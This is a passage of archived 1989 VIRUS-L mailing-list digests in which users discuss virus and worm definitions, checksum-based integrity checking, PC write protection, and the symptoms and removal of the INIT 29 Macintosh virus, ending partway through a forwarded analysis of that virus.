abnormal activity 'virtually as it entered' and was able to segregate
the infected system before the worm could spread, according to the
company.

Spokeswoman Nikki Richardson said the infected system was disconnected
immediately from the network while a vaccine program was developed and
installed.  The system was returned to the network before employees
arrived for work Monday morning, she said.

Unlike a virus, which replicates itself and destroys or modifies
data, a worm only replicates itself.

Digital would not disclose what type of system was involved, although
Richardson said she believes it was a VMS-based system, the
predominant system on the network."

Interesting...  It's nice to hear that DEC was able to stop it before
it caused any harm, I imagine that a congratulations is in order if
the report is accurate.

The scary part about the report, in my opinion, is the definition of
virus vs. worm; it's blatantly wrong.  In "Computer Viruses: Theory
and Experiments" (Computers & Security 6 (1987) p. 22-35), Fred Cohen
defined a virus as, "...a program that can 'infect' other programs by
modifying them to include a possibly evolved version of itself."
There's no mention of destroying or modifying data there.  In fact, in
his dissertation, Dr. Cohen even used an example of a virus that could
be worthwhile, a "compression virus" that would compress executable
files on disk in order to save disk space.

Ken

------------------------------

End of VIRUS-L Digest
*********************VIRUS-L Digest             Thursday, 26 Jan 1989        Volume 2 : Issue 26

Today's Topics:
nVir (init 29) (Mac)
Viral protection by checksum registration?

---------------------------------------------------------------------------

Date:         Wed, 25 Jan 89 15:13:46 EST
From:         SCOTT <[e-mail]>
Subject:      nVir (init 29) (Mac)

  I have encountered this new strain of nVir on a bunch of Mac II's
with Interferon, but have not been able to successfully eradicate the
infection.  Also Ferret, VirusRx, and virus detective are not able to
identify this virus.  The virus also shows up as a code segment ID 255
or 256 which is 712 bytes long as previously noted.  What is the best
way to eradicate this "thing"?  Is this new strain of any potential
danger to documents saved on a different disk or will it just cause
memory problems when the infected machine is used?
        Help!!
        Scott.

------------------------------

Date:     Wed, 25 Jan 89 14:44 MDT
From:     Pete Klammer 303/556-3915 <[e-mail]>
Subject:  Viral protection by checksum registration?

We could have some protection against viruses if we could compare a
characteristic "signature" of a program file against a "register" of
known program signatures.  The "signature" would have to be fairly
strong, and the problems of trusted registration and distribution of
copies of the register are non-trivial.  Furthermore, a virus attack
can spread more quickly than registered-signature checking can be
done, but at least this method offers some assurance when we're
looking at a clean system.  For that matter, it would let us know if
we're looking at identical copies of a known virus, vs.  slightly
twiddled ones.

What I'm suggesting is that something like a checksum be defined, but
it must be long and complex enough, and include the file size, such
that a counterfeit file of the same size and signature which could
even execute at all, let alone do any useful viral-like damage, would
be too hard or too expensive to come up with.  A checksum is too weak:
I can produce any checksum I want from any file if I have a few spare
bytes to "seed" with checksum-compensating values.  Rather, the
algorithm for the "anti-viral-signature" of a file would have to be
more like a high-order cyclic redundancy check or one-way trap-door
encryption.

I'm also suggesting that a common, trustworthy repository for
registration of program files be set up.  I could then know that
FORMAT.COM for PC-DOS 2.1 has signature "1140745HL2K6G76G724", and
FORMAT.COM for Zenith MS-DOS 3.1 has signature "1047HD2468K7G6762GR4",
and so forth.  Over time, that could get to be a long list: how many
legitimate versions of C1.EXE (or whatever) for Microsoft C have
actually been distributed (3.0, 4.0, 4.01, 4.1, 5.0, 5.01?, 5.1...?).
And of course, versions of the "anti-viral-signature-checker" would
have to be registered, too.

With these tool, one could, on occasion or even constantly in "TSR
background spare time", scrutinize a file system for corruptions.  The
"background" method is itself vulnerable to viral infiltration, but I
should still be able to boot up from a trusted write-protected* floppy
and scan my files whenever things get suspicious.

(*NOTE on that noisy subject: PC floppy drives implement write
protection in the hardware quite simply: the "write-enable" pin of the
floppy-disk-controller chip receives its signal from an AND gate --
i.e., whenever you ask to write, AND the write-enable notch is
detected, it writes.  Commodore-64 drives (1541's) do not have such a
hardware AND gate, and in fact, their ROM firmware can be overridden
by executable code downloaded into into on-board RAM.  [Speculation
now:] Since Apple ]['s do so much disk control, and so economically,
from inside the 6502 processor, I suspect Apple ][ write protection is
firmware-based, too.  These kinds of implementations feed the
write-protect misunderstanding.  REAL drives cannot write over a
write-protect tab.)

I recognize the anti-viral-signature method might be too cumbersome to
catch a virus in the act, but wouldn't it be worthwhile to have a way
to check if the ARC v5.13 or the MS-KERMIT v2.32A you just downloaded
from somewhere is clean or crooked?

 * --poko       Pete Klammer, Systems Programmer, [phone]
 *              CU-Denver Computing Services / Campus Box 169
 *              1200 Larimer St NC2506 / Denver CO 80204-5300
 *              BITNET: PKLAMMER@CUDENVER
 *              INTERNET: [e-mail]
 * " I'm half Estonian, which makes up for the other half. "

[Ed. Ideas like this have been tossed around quite a bit, and they
certainly hold some promise (imho).  They also have a lot of potential
logistics problems (e.g., who distributes the CRC program itself, and
how do we assure that *it* is not corrupt?  a computing environment
in which everyone uses the same CRC (or checksum...) would be, as it
is now, relatively homogeneous - a virus could make use of this fact,
and propagate freely throughout the environment.).  Comments?]

------------------------------

End of VIRUS-L Digest
*********************VIRUS-L Digest             Thursday, 26 Jan 1989        Volume 2 : Issue 27

Today's Topics:
PC hardware protection (PC)
re: Request for definition of worms and trojan horses.
Re: [[e-mail]: nVir (init 29) (Mac)]
Virus Prevention Guidelines

---------------------------------------------------------------------------

Date:       Thu, 26 Jan 89 15:02:51 GMT
From:       Martin Ward <[e-mail]>
Subject:    PC hardware protection (PC)

I have been considering the problem of trying to add some protection
against Trojan Horse (and by implication virus-infected) programs to a
PC. With a standard PC there appears to be NO protection against a
malicious Trojan which lies dormant for a while (ie carries out its
advertised function) and suddenly decides to trash all your file (or
just change a random byte in a random file). This is because any
program has total access to any bit of the hardware. Hence the only
protection is a regular backup (the Trojan which randomly changes
small areas of data could still take a while to find and therefore
could do a lot of damage).

Other operating systems (eg UNIX) have protection mechanisms which
(barring loopholes) prevent a user from accessing or modifying files
he does not have permission for. This could be extended to the concept
of "program" permissions: when an untrusted program is about to be run
a trusted supervisor program gives write permission to only those
files the untrusted program is allowed access to and then runs the
program under that user id.

To implement this system on a PC requires extra hardware, (here is
where I need some help from someone with more knowledge of PC
hardware): I imagine a two-position switch (physical, hardware
switch). In one position it allows full access to the disk and to an
internal "permissions" table. In the other position it denies access
to the "permissions" table and prevents access to any files not listed
in the table. Moving the switch from the second to the first position
should cause an automatic cold boot (this is so that a malicious
program cannot "pretend" it has terminated and fool you into moving
the switch). To execute an untrusted program you run a trusted program
which looks up the files allocated to the untrusted program (in a
file), sets up the permissions table and requests that you throw the
switch.  It then waits for the switch to be moved and automatically
runs the program.

No "untrusted" program should have access to the boot tracks,
command.com files etc. or any executables, and should not be able to
create "bad" sectors.  Hence the cold boot which occurs when the
switch is moved back to the "trusted program" position should be
perfectly safe.

Comments on the practicality etc. of this idea are welcomed!

            Martin.

My ARPANET address is:  [e-mail]
JANET: [e-mail]    BITNET: [e-mail]
UUCP:  ...!mcvax!ukc!easby!martin
Quote: "If God had intended Man to Smoke, He would have set him on Fire."

------------------------------

Date: 26 January 1989, 10:07:43 EST
From: David M. Chess <[e-mail]>
Subject:  re: Request for definition of worms and trojan horses.

Well, the definitions we tend to use around here are something like this:

  A bug is something that a program does that neither the programmer
  nor the user intended.

  A Trojan horse is a program that does something that the programmer
  intended it to, but the user did not.  (And, generally, that the
  user would not have approved of had he/she known about it.)

  A worm is a program that sends copies of itself through a network.

  A virus is, to quote Fred Cohen, "a program that can 'infect' other
  programs by modifying them to include a possibly evolved copy of itself".

A program infected with a virus is usually a Trojan horse, since it
does at least one thing (infecting other programs) that the user
doesn't know about, and wouldn't approve of.   The (a?) key difference
between a worm and a virus is that a virus is a code-fragment that
hides within and spreads between *programs*, whereas a worm is a complete
program (or program-set) that runs on and spreads between network-
attached *computers*.  In a very deep theoretical sense, the two are
different versions of the same thing (instructions that make copies
of themselves at other places in a computing environment); but in
practice, a program is different enough from a network-attached system
that it makes sense to draw a distinction.

The Internet thing back in November was a worm, not a virus.  A
copy of Pandas in Space that has been hacked to include code that
erases all your files (but doesn't spread to other programs) is a
Trojan horse, but not a virus or a worm.

Something like that...

DC

[Ed. Thank you for the clear definitions.  I received a plethora of
similar definitions of virus/worm/trojan today; thanks to *everyone*
who took the time to send in theirs!  I've included (only) this one
here, not because it's any better (or worse) necessarily, but to cut
down on redundancy/traffic.

J.D. Abolins made a very interesting point in the definition that he
sent in: "Tom Kummer, in a recent posting, asked what is the
difference between Trojan Horse program and worms as compared to
viruses.  Before I post an off-the-cuff reply, I must mention that the
terminology for 'bogusware' is very fluid.  The use of any word such as
virus, worm, etc. has to be interpreted in the context of the person
using the word and the actual workings of the program in question.
'One man's virus is another man's worm.'"  This points out the fact
that there is much confusion (particularly in the media) as to the
meaning of the above terms.  We must try to take such reports with a
grain of salt, and figure out for ourselves what the author meant.
The media still refers to the Internet Worm as the "Internet Virus"...]

------------------------------

Date:         Thu, 26 Jan 89 11:16:09 EST
From:         Joe McMahon <[e-mail]>
Subject:      Re: [[e-mail]: nVir (init 29) (Mac)]

>Subject:      nVir (init 29) (Mac)
>
>  I have encountered this new strain of nVir on a bunch of Mac II's
>with Interferon, but have not been able to successfully eradicate the
>infection.  Also Ferret, VirusRx, and virus detective are not able to
>identify this virus.  The virus also shows up as a code segment ID 255
>or 256 which is 712 bytes long as previously noted.  What is the best
>way to eradicate this "thing"?  Is this new strain of any potential
>danger to documents saved on a different disk or will it just cause
>memory problems when the infected machine is used?

The INIT 29 virus is not a strain of nVIR. It is much more dangerous.

INIT 29 is far more infective than any Mac virus yet known. It gets
into *EVERYTHING*. Documents, font (suitcase) files, printer drivers,
the Desk Top file (the real one!); just about everything except (for
some reason) MacPaint files.

When an infected program is run on a clean system, the INIT gets
installed into the System file. When an infected program is merely
COPIED TO A DISK, the Desk Top file gets infected.

Next boot, it infects every file with a resource fork that gets opened
during the work session. *Inserting* a disk into an infected system
will infect its Desk Top file, unless it is locked. If it is locked,
you will get the "Disk needs minor repairs" dialog. DON'T FALL FOR IT!
This is caused by the I/O error caused by the virus being unable to
infect the Desk Top file. Unlocking the disk and reinserting it will
get you.

It patches itself into applications, adding a new CODE segment with an
ID 1 larger than the highest-numbered CODE resource. Bytes 9, 10, 11,
and 12 of CODE 0 are patched to point to the virus; these bytes are
moved to bytes 16, 17, 18 and 19 of the virus. For some reason,
multiple copies of the virus get copied into some applications.

The only application which can clean up infected *documents* (not
applications) is VirusDetective(tm) 2.0. It is already configured to
do so. Use its "delete infection" option to erase the INIT 29
resource. Applications should be replaced from clean copies. You might
try using the patch information noted above for irreplaceable
applications.

This is a very, very nasty virus. BE CAREFUL! GateKeeper should
probably be able to stop it; I don't think Vaccine is totally
resistant to it.

Virus Detective 1.2 does not dependably remove the infection: it does
not deal properly with locked resources, whereas the virus DOES. It
may tell you that it has deleted the infection, when it has done no
such thing.

 --- Joe M.

------------------------------

Date: Thu, 26 Jan 89 13:12 EST
From: Roman Olynyk - Information Services <[e-mail]>
Subject: Virus Prevention Guidelines

Computer World (Jan. 9) had a article which referenced virus prevention
guidelines:
   "Del Jones, managing director of the National LAN Laboratory in
   Reston, VA., has issued a set of guidelines on virus prevention
   and control endorsed by about 70 manufacturers."
A subsequent reference to another CW article didn't discuss these
guidelines.

Can anyone help me get a handle on these guidelines or where I might
actually find them?

------------------------------

End of VIRUS-L Digest
*********************VIRUS-L Digest              Friday, 27 Jan 1989         Volume 2 : Issue 28

Today's Topics:
re: init 29 virus (Mac)
Mac Virus?
checksum protection
National LAN Laboratory

---------------------------------------------------------------------------

Date:     Thu, 26 Jan 89 22:47 GMT
From:     <[e-mail]>
Subject:  re: init 29 virus (Mac)

The 'INIT 29" virus is not a mutation of nVIR, even if it is very
similar. Its sole purpose is to replicate itself. Other than that, it
causes no harm to the system. However, it will copy itself to *every*
resource fork that has been opened by the System, an application or a
utility (CDEV, DA, etc). I'd classify it as extremely virulent.

Symptoms are an INIT resource with ID 29 and a size of 712 bytes.
Infected applications also have an additional CODE resource of the
same size. If you open the application with ResEdit, the viral
resource will be on top of the list of CODE resources.

As it patches the code jump table, removing the INIT and the CODE
resources without restoring the table will cause your application to
crash.

The latest version of VirusDetective (2.0) will detect this virus. It
will not repair an infected application, as it does not restore the
jump table. The next version of AntiPan will probably be able to
detect and remove it.

In any case, I suggest you to trash the infected applications and
system files. Other infected resource files (those who do not contain
CODE resources) may be repaired by removing the INIT 29 resource.

- -- Danny Schwendener
   ETH Macintosh Support
   [e-mail]   [e-mail]   [e-mail]

------------------------------

Date: Thu, 26 Jan 89 17:41 EST
From: CNSM CCR - Rob Rothkopf <[e-mail]>
Subject: Mac Virus?

I have a MAC-SE that I *thought* was eradicated from all viruses
(virii pl?).  It seemed free of nVIR and SCORES and all the others and
yet the system crashes periodically and I need to reload it from the
original.

Any advice?
                                        --Rob Rothkopf

------------------------------

Date: Thu, 26 Jan 89 17:34:54 EST
From: Don Alvarez <[e-mail]>
Subject: checksum protection

David M. Chess made a pretty convincing argument in the last issue
that he can absolutely trust his checksum if he keeps the checksummer
on a floppy disk which is locked away and never inserted into a
machine that hasn't just had a warm boot.

I will agree with him that he can trust his checksummer, but unless he
can checksum every file on my hard disk in under one minute its a cure
that's worse than the disease (just add up how long you would spend
doing checksums in a year and compare that against your expected rate
of infection).  Also, suppose I have five hundred files on my disk.
How am I going to know what the checksum for each of them should be?
Keep a list of checksums on my disk?

This shut-the-machine-off, boot-from-floppy, run-checksum, put-floppy-
away and switch-over-to-hard-disk routine sounds like a lot of work to
do every time I want to run my word processor.  Its a whole lot worse
if you want to do it not to an isolated PC but to a networked
workstation.

Also, what does the checksum program tell me?  It tells me that
someone has destroyed my data.  It doesn't tell me when and it doesn't
tell me what to do to get it back.  I still have to keep backups of
everything.

Checksums are good for checking the integrity of data if you have
reason to believe that it has been corrupted (ie did I just download a
bogus copy of VirusRX off the network).  They are not a good way to
handle everyday protection against viruses (consider the couple that
tries to practice birth control by spending ten minutes every morning
giving the woman a pregnancy test).

Add up how much time you personally expect to loose in a year from
data lost to viruses.  Any "cure" that takes up more of your time in a
year than you expect to loose is quite litterally "wasting your time."

Nobody spends $20,000 a year to insure a $10,000 car.  Even fewer
people spend $20,000 a year for a service that merely tells them
whether someone has already stolen their $10,000 car.

                    -Don Alvarez

------------------------------

Date:     Thu, 26 Jan 89 20:10 EST
From:     <[e-mail]>
Subject:  National LAN Laboratory

Roman Olynyk <[e-mail]> writes:
>Computer World (Jan. 9) had a article which referenced virus prevention
>guidelines:
>   "Del Jones, managing director of the National LAN Laboratory in
>   Reston, VA., has issued a set of guidelines on virus prevention
>   and control endorsed by about 70 manufacturers."
>A subsequent reference to another CW article didn't discuss these
>guidelines.
>
>Can anyone help me get a handle on these guidelines or where I might
>actually find them?

Roman,
I happen to live in Reston, and although I've never heard of the
place, chances are that its only about 5 or 10 minutes from my house.
If you could get me an exact address or something I'd be glad to pop
over there someday and try and scare up a copy.
- ---Steve
- ----------------
Steve Okay  [e-mail]/[e-mail]/CSR032 on The Source

"These comments are less relevant than say, The New York Times OP-ED
 Page, but more relevant than say, Plywood"
                         ----Bloom County

------------------------------

End of VIRUS-L Digest
*********************VIRUS-L Digest              Friday, 27 Jan 1989         Volume 2 : Issue 29

Today's Topics:
Re: [[e-mail]: Mac Virus?]
Why "virus"? (longish)

---------------------------------------------------------------------------

Date:         Fri, 27 Jan 89 10:13:54 EST
From:         Joe McMahon <[e-mail]>
Subject:      Re: [[e-mail]: Mac Virus?]

>From: CNSM CCR - Rob Rothkopf <[e-mail]>
>
>I have a MAC-SE that I *thought* was eradicated from all viruses
>(virii pl?).  It seemed free of nVIR and SCORES and all the others and
>yet the system crashes periodically and I need to reload it from the
>original.
>Any advice?

Rob, I've sent you VirusDetective(tm) 2.0. Try it against your System
and see if you get any hits. If not, what INITs and CDEVs are you
using?  You may have a conflict unrelated to any virus at all.

- --- Joe M.

------------------------------

Date:         Wed, 25 Jan 89 09:18:32 EST
From:         Steve Cavrak <[e-mail]>
Subject:      Why "virus"? (longish)

The following was grabbed from "comp.sys.misc" over usenet this
morning.  I heard the broadcast and had similar concerns.  The first
part is William's LeFebvre's posting; the second is my reply
(hopefully follow-up, but usenews is still somewhat of a mystery to
me.)  Perhaps the concerns are of broader interest and might make
worthwhile reading in virus-l ?  (I've edited the headers and tab
characters out for my IBM account ...)

- ----------------------- Original Message ------------------------

From: [e-mail] (William LeFebvre)

I heard someone on the news today more or less state that computer
viruses were a very recent thing (within the last 5 years).  I have a
very strong feeling that this is wrong.  Can anyone tell me when the
term "virus" was first used in the context of computers?  Can you give
me references?

In an interview on NPR's "All Things Considered", this author, Susan
Sontag (sp?), was trying to point out how America currently has an
obsession with medical diseases, given the current AIDS problem.  She
pointed to the usage of the term "computer virus" as one indication of
this.  She went on to say that if this type of computer activity had
happened 5 or 10 years ago, it would have been called something else.

Anyone got any refuting information?  Anyone also hear the interview
and think that I'm off base or that I misheard her?

   William LeFebvre
   Department of Computer Science
   Rice University
   <[e-mail]>

- --------
Follow up:
From:         Steve Cavrak <[e-mail]>

I heard the interview and share her reactions.

Sontag was being interviewed in relation to her new book "Aids as
Metaphor".  (Her book reviewed in either last Sunday's NYTimes Book
Review section or the week before, and which was excerpted a few
months back in the New York Review of Books.)  She has written an
earlier book called "Illness as Metaphor", written after her bout with
cancer.  Before that she wrote a book entitled "Beyond Interpretation"
- --- which grew in some part out of her role as a film critic for the
New Yorker.

One of her concerns is how our word choices drag along with them a lot
of cultural baggage.  This baggage, or connotation, sometimes creates
it own problems.  (Cf the "War on drugs", the "War on poverty",
"animal rights", etc.)  Why, she wondered, was Watergate a "cancer on
the presidency?"

The comment about computer virus was in this vein.  Why is a computer
virus called a "virus" (or why is "FORTRAN" called a programming
"language" if you want to desensitize the metaphor), rather than, for
example, a "parasite".  And how does this choice of metaphor affect
the way people understand what is happening around them.  And how does
this change when the virus in the news is HIV-IV rather than a mere
rhinovirus or tobacco mosiac virus.

(For that matter how do people understand "computers", but that is way
beyond this list?)

My own reaction to the interview was that simile, metaphor, and
allegory are not nicely separable.  A virus, and DNA in general, IS
LIKE a computer program (and almost vice versa, especially if you
accept William Burroughs comment that "Language is a virus".)
Certainly a computer virus IS more LIKE a virus than a computer worm
IS LIKE a real worm, or a computer trojan horse IS LIKE a real Trojan
horse.

Of course the original question of WHERE DO THESE WORDS COME FROM is
left unanswered.  I'm certainly interested in finding out.

Steve Cavrak
Academic Computing Services
University of Vermont

------------------------------

End of VIRUS-L Digest
*********************VIRUS-L Digest             Wednesday, 4 Jan 1989         Volume 2 : Issue 3

Today's Topics:
Government Certification of Software
Bursting Digests on UNIX hosts

---------------------------------------------------------------------------

Date:  Wed, 4 Jan 89 12:49 EST
From:  [e-mail]
Subject:  Government Certification of Software

Stan Horowitz writes:

"A question of relevance to this discussion is along the following
lines.  Is it not the ethical responsibility of our government to
establish laws and guidelines which software must pass before being
distributed."

Bite your tongue!  Murray's first law of data security reads: "Be very
careful what you ask for; you might get it."

No body promised you a rose garden.  If you got it, you would likely
find it to be a cold and hungry place.  Those who believe that it is
the responsibility of government to provide us with a zero-risk world
would do well to think about the implications.  God protect me from
computer software provided by those wonderful people who who gave us
the Nuclear Regulatory Agency.

William Hugh Murray, Fellow, Information System Security, Ernst & Whinney
2000 National City Center Cleveland, Ohio 44114
21 Locust Avenue, Suite 2D, New Canaan, Connecticut 06840

------------------------------

Date: Wed, 04 Jan 89 06:43:43 -0800
From: Steve Goldstein <[e-mail]>
Subject: Bursting Digests on UNIX hosts

From time to time, the subject of mail digests comes up, as it does
often with BIG-LAN Digest.  Some folks, such as I, do not like to have
to read through the entire digest to get msgs of interest.
Fortunately, if you use MH-Mail (RAND's Mail Handling utility on UNIX
hosts), you can place the MH command "inc" (incorporate mail from the
system mail box into my inbox) in your login script, followed by the
command:

    burst `pick -subj "VIRUS-L Digest"` >& /dev/null

This looks for msgs with VIRUS-L Digest in the subject field and
bursts them into their constituent msgs.  Then, you can scan a message
list which identifies each component of the digest individually.

For those of you on UNIX machines who do not have MH (public domain),
consider kicking and screaming for it!

Regards to all,

Steve Goldstein

------------------------------

End of VIRUS-L Digest
*********************VIRUS-L Digest              Monday, 30 Jan 1989         Volume 2 : Issue 30

Today's Topics:
re: checksum protection
Virus Terminology
A detailed description of the INIT 29 Macintosh Virus (Mac)
Apple Viruses? (NOT Mac)
FRG Nazi virus? Huh?

---------------------------------------------------------------------------

Date: 27 January 1989, 13:27:00 EST
From: David M. Chess  <[e-mail]>
Subject: re: checksum protection

Don Alvarez <[e-mail]> writes:

> Checksums are good for checking the integrity of data if you have
> reason to believe that it has been corrupted (ie did I just download a
> bogus copy of VirusRX off the network).  They are not a good way to
> handle everyday protection against viruses...

because, basically, it takes too long to run the checksum checks.

That's a matter of personal taste, I suppose.  I run a checksum
program that takes about ten minutes, every couple of days.  Of
course, if it really wasted ten minutes of *my* time, it wouldn't be
worth it.  But I always have ten minutes of stuff to do that doesn't
require the computer (reading journals, eating lunch, etc), and who
cares if I waste the *computer's* time?  With multi-tasking operating
systems becoming the norm, it'll be even less of a concern; just start
the checker running in the background with a low priority.

If checksums (and related modification-detection schemes) aren't a
good way to handle everyday protection against viruses, what is?  The
only alternatives seem to be to check for the N viruses that you
happen to have heard of (you'll still get bitten by virus N+1), or to
hope somebody else gets bitten by a new virus before you do, so you'll
be told about it.  Neither very satisfying!

The bit about rebooting the machine from a trusted floppy before
running the check is, of course, more of a pain than I'm willing to go
to.  I was just using it as an extreme example to argue against some
claims that, for theoretical reasons, undefeatable checking is
impossible.  I hope that future operating systems and technology will
make possible undefeatable checking that *is* human-useable.  May not
be soon, of course, but I just wanted to suggest that it was
theoretically possible.

DC

P.S.
> How am I going to know what the checksum for each of them should be?
> Keep a list of checksums on my disk?

Yes, of course.  On the same disk that the checker program is on.
Sorry I didn't make that clear.  The checksums that are stored are
just the ones the checker found last time.  The checker doesn't tell
you "this program is/isn't clean", just "this program is/isn't the
same as it looked last time I saw it".  Imperfect, perhaps, but I
haven't thought of anything really better...

------------------------------

Date:         Fri, 27 Jan 89 11:32:46 PLT
From:         Joshua Yeidel <[e-mail]>
Subject:      Virus Terminology

In Virus-L V2 #28, Danny Schwendener writes:

< The 'INIT 29" virus is not a mutation of nVIR, even if it is very
< similar. Its sole purpose is to replicate itself. Other than that, it
< causes no harm to the system. However, it will copy itself to *every*
< resource fork that has been opened by the System, an application or a
< utility (CDEV, DA, etc). I'd classify it as extremely virulent.

This is not a flame, but just an attempt to clarify our terminology.
My "American Heritage" Dictionary defines "virulent" as "extremely
poiosonous or pathogenic".  I think we should reserve that word for
viruses, worms, Torjan horses, and other slime ("virus" in Latin)
which have known malignant effects.  In my opinion, the correct term
for INIT 29 is "extremely contagious", since it spreads through so
many mechanisms and so many infection sites (filetypes).

This may seem like a very small point of diction, but it is very
important to use accurate terms and avoid giving misimpressions when
conveying virus information to large numbers of people.  More damage
at our site has been caused by virus panic than by the malignant
effects of all viruses together.

By the same token, I would recommend against describing any virus as
"benign".  There is no way of ensuring that a virus will do no harm in
any hardware/system/application setting it might infect. This is
especially true since copies of a virus have no way of being updated
to reflect system software updates.  The "benign" virus of today might
become a "bomber" tomorrow.  In this sense (at least), every virus is
a threat.

- - -- - -- - -- - -- - -- - -- - -- - -- - -- - -- - -- - -- - -- - -- -
Joshua Yeidel                         [e-mail]
Academic Computing Services           [e-mail]
Washington State University           [phone]
Pullman, WA 99164-1220
DISCLAIMER: I'm speaking solely for myself here, not Washington State U.
- -- - -- - -- - -- - -- - -- - -- - -- - -- - -- - -- - -- - -- - -- - --

------------------------------

Date:     Fri, 27 Jan 89 16:31 EST
From:     DEC P/N 90-09203-00, for all your baking needs. <JEN@VTCS1>
Subject:  A detailed description of the INIT 29 Macintosh Virus (Mac)

Here's a detailed analysis of the INIT 29 Macintosh Virus from Thomas
Bond.

- -Jeff E. Nelson
- -Virginia Polytechnic Institute and State University
- -INTERNET:  [e-mail]
- -BITNET:    [e-mail]

begin forwarded message------------------------------------------------

0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0

THE ELEVENTH WORD:

0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0

An Investigation Into the 712-byte RINIT 29S Macintosh Virus

by Thomas Bond, Mac Consultant
11684 Ventura Blvd., #932  %  Studio City, CA 91604
818-843-0567

(C) 1989 by Thomas Bond.  Permission is hereby granted to distribute in whole
part by any means, whether in print or electronic, as long as the name,
address and phone of the author remain unchanged.  Publications may quote
parts for use in education on computer virus problems.

     Code 0
       /
  Virus Segment
       \
      Application Segments
        /
      ????????

ACKNOWLEDGEMENTS: This research could not have been completed without
the very valuable help received from Q Tom Pitts, Robert Wright and
David Lagerson of the MacValley Macintosh Users Group, Mark Weems of
Kinko's Studio City store, Ken Cary of PaperWorks in Burbank, Joe
Niewe of California State University, Northridge, and many others who
gave up their time and advice.

[MacValley membership is $30.00 per year, and provides access to the
PD Library with 1000's of freeware and shareware programs, official
releases of Apple System software, association with over 700 Mac
users, and special presentations from software companies, covering new
programs and developments in the industry.  For membership info, call
Bob Campbell, 818-784-2666.]


BACKGROUND:

 This report is being prepared on January 17, 1989, for distribution
at the monthly meeting of MacValley Macintosh Users Group in Burbank,
California.  It contains the most recent information available to the
author at this time: How the new RINIT 29S 712 byte virus acts, how to
detect it, how to prevent it, and how to repair the damage it may do,
at least in the early stages of its infection.  Those who need
immediate help because they know or strongly suspect that their disks
or hard disk(s) are infected, please turn to the section below labeled
FOR EMERGENCY ACTION.  Others may benefit from a more deliberate
reading of this paper, learning how these kinds of viruses work and
what to do about them.

The author, Thomas Bond, is a Mac Consultant working primarily in
desktop publishing and graphics, for various companies in the San
Fernando Valley and Greater Los Angeles area.  He is available for
professional consultations regarding this or other Macintosh
applications and problems by calling the number above, 24 hours.

Late in December, 1988, one of my clients, the Kinko's Copy Center at
Fulton Boulevard & Burbank Boulevards in Van Nuys, reported an unusual
problem: It's three rental computers, all with hard disks attached,
were rejecting all locked disks inserted into them.  After unlocking
and reinserting the disks, documents would open normally.  Sometimes
documents created with several programs such as PageMaker 3.0,
MacWrite 5.01, Ready,Set,Go! 4.0a, Microsoft Word 3.02, Aldus Freehand
2.0, Adobe Illustrator 88, and others, would fail to print.  The
report from the program was either that Rthis document failed to
printS or in some cases there would be a bomb, or no report at all,
simply a failure to print.  On occasion, the hard disk would fail to
boot properly.

Checks with Apple's Virus Rx 1.3 & later Virus Rx 1.4 showed only that
almost all applications, the System and Finder (v. 6.0.2) were
damaged.  Replacement of the damaged programs and system files was
performed repeatedly over a week's period.  In the meanwhile, hundreds
of customers used the machines and infected their diskettes.  In
between my own efforts, employees of the store often replaced the
system files and applications themselves, in an effort to fix the
problem.  The hard disks were initialized several times over several
days.  Never-the-less, the infection reappeared immediately each time,
soon after it began to be used.

A few days later, similar problems began to be reported at the Kinko's
Studio City store, on Ventura Boulevard near Laurel Canyon.  The same
procedures were followed at that store.  Some of the same well-meaning
but uninformed employees tried to solve the problem.  In spite of the
best efforts of several staff members and my own frequent visits, the
equipment failed to print roughly half the time.  Each store was
losing 100's of dollars due to the problem, adding to $1000's.

On Tuesday, January 3, I began to seriously and scientifically
investigate the nature of the problem.  Careful poking around in the
files with ResEdit 1.2b2 had already revealed no infestation of either
Scores or nVIR, with which we were sadly very familiar and expert at
handling.

Using ResEdit, I opened up a RcleanS and RdirtyS copy of Teach Text.
The infected copy was exactly 728 bytes larger than the clean one.
The CODE resource list showed ID's 0 thru 3 in the infected copy, and
0 thru 2 in the clean copy.  The new resource, ID number 3, was
exactly 712 bytes.  The CODE resource numbered 0 was exactly 16 bytes
bigger in the dirty copy than the clean copy.

I became very, very concerned about the problem, as I found by using
the Virus Detective* desk accessory to search for 712 byte CODE and
INIT resources that there was also an INIT ID 29 installed in most
documents, other INIT files such as Pyro* & Suitcase II, the System of
course, the Desktop file, and all font and DA suitcase files, as well
as font printer drivers such as the LaserWriter driver, and Adobe
printer fonts.  Some applications such as PageMaker, Freehand and
Illustrator, had literally dozens of extra 712-byte CODE resources
added.  They grew bigger on each startup and during each boot, whether
started up or not.


HOW RINIT 29S WORKS:

After some 57 hours of research and virus fighting labor at Kinko's 2
infected local stores, I have determined the following:

1.  The INIT 29 Virus will not accept locked disks after it has been
fully activated on an infected system.  This is the easiest way to
find out if you are fully infected.  However, since this symptom does
not occur immediately, you will also need to make further checks.

2.  The virus first invades the Desktop file of a disk when a program
is copied onto it, inserting the 712 byte INIT ID 29 resource into it.
(Alternately, the INIT is added to a system file if an infected
application is started up, even without being copied to the disk.)

3.  On the next boot, the INIT is added to the System from the desktop
file (or elsewhere, perhaps), and to every application (as a new code
resource numbered one higher than the existing resource ID, and
adjusted CODE ID 0 resource) that is used during that work session,
and to most documents created by the infected applications during the
session.

4.  During the very next boot, the infected System will insert the
INIT or CODE resources into every targeted file on the hard disk (or
diskette), including:

        % The actual Desktop file of the operative system disk (hard
          disk or not)

        %  INITs such as Suitcase II, Pyro*, etc.

        %  CDEVs, RDEVs, and other system folder files

        % All applications and programs containing CODE resources,
          with Illustrator 88, Freehand 2.0 and PageMaker 3.0 getting
          (2) new 712 byte resources per each use or boot.  Others
          seem to stay content to keep only one extra CODE resource.

        % Most document files, including those created by MS Word,
          MacWrite, Ready,Set,Go!, PageMaker, Illustrator, Freehand,
          and MS Works.  Oddly, MacPaint files seemed to be free of
          the INIT.

        % All Rscreen fontS files (whether for imagewriter or
          laserwriter, new or old versions), all Desk Accessory files,
          new or old, all LaserWriter printer drivers, including those
          used by Cassidy, Adobe and Apple fonts, Laser Prep and Aldus
          Prep files, etc.

5.  During invasion of an application, the INIT 29 Virus makes itself
a vital part of the application, by changing the applications
"jump-table" or CODE ID = 0 resource to list it as the FIRST SEGMENT
TO BE RUN ON LAUNCH.  The address of the next segment of CODE to be
run is copied from the jump table into the virus itself.  This means
that removing the virus will kill the application (very much like some
protoplasmic viruses).  The title of this report is taken from the
address of the order to run first, namely the eleventh word of the
jump table, which is changed to read the new address of the virus
